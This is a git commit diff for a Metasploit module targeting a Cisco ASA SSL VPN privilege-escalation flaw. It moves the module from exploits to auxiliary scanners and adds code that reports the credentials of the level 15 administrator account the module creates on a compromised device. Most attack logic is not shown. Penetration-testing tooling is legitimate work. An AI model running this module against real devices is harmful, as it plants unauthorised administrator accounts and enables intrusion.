Move Cisco ASA SSL VPN Esc to Aux

Author: Jonathan Claudius

…its/multi/http/cisco_ssl_vpn_priv_esc.rb …y/scanner/http/cisco_ssl_vpn_priv_esc.rbmodules/exploits/multi/http/cisco_ssl_vpn_priv_esc.rb renamed to modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb modules/exploits/multi/http/cisco_ssl_vpn_priv_esc.rb renamed to modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb

@@ -5,11 +5,12 @@
 
 require 'msf/core'
 
-class Metasploit3 < Msf::Exploit::Remote
+class Metasploit3 < Msf::Auxiliary
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Auxiliary::CommandShell
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
 
   attr_accessor :ssh_socket
 
@@ -33,25 +34,6 @@ def initialize(info = {})
           [ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ],
           [ 'URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
         ],
-      'Targets'        => [[ 'Automatic', {}]],
-      'DefaultOptions'  =>
-        {
-          'ExitFunction' => "none"
-        },
-      'Payload'        =>
-        {
-          'Compat' => {
-            'PayloadType'    => 'cmd_interact',
-            'ConnectionType' => 'find'
-          }
-        },
-      'Platform'       => 'unix',
-      'Arch'           => ARCH_CMD,
-      'Targets'        =>
-        [
-          ['Cisco ASA', {} ],
-        ],
-      'Privileged'     => true,
       'DisclosureDate' => "April 9, 2014",
 
     ))
@@ -296,7 +278,20 @@ def exploit
 
       if creds
         print_good("#{peer} - Successfully added level 15 account #{creds.join(", ")}")
-        break
+
+        user, pass = creds
+
+        report_hash = {
+          :host   => rhost,
+          :port   => rport,
+          :sname  => 'Cisco ASA SSL VPN Privilege Escalation',
+          :user   => user,
+          :pass   => pass,
+          :active => true,
+          :type => 'password'
+        }
+
+        report_auth_info(report_hash)
       else
         print_good("#{peer} - Failed to created user account")
       end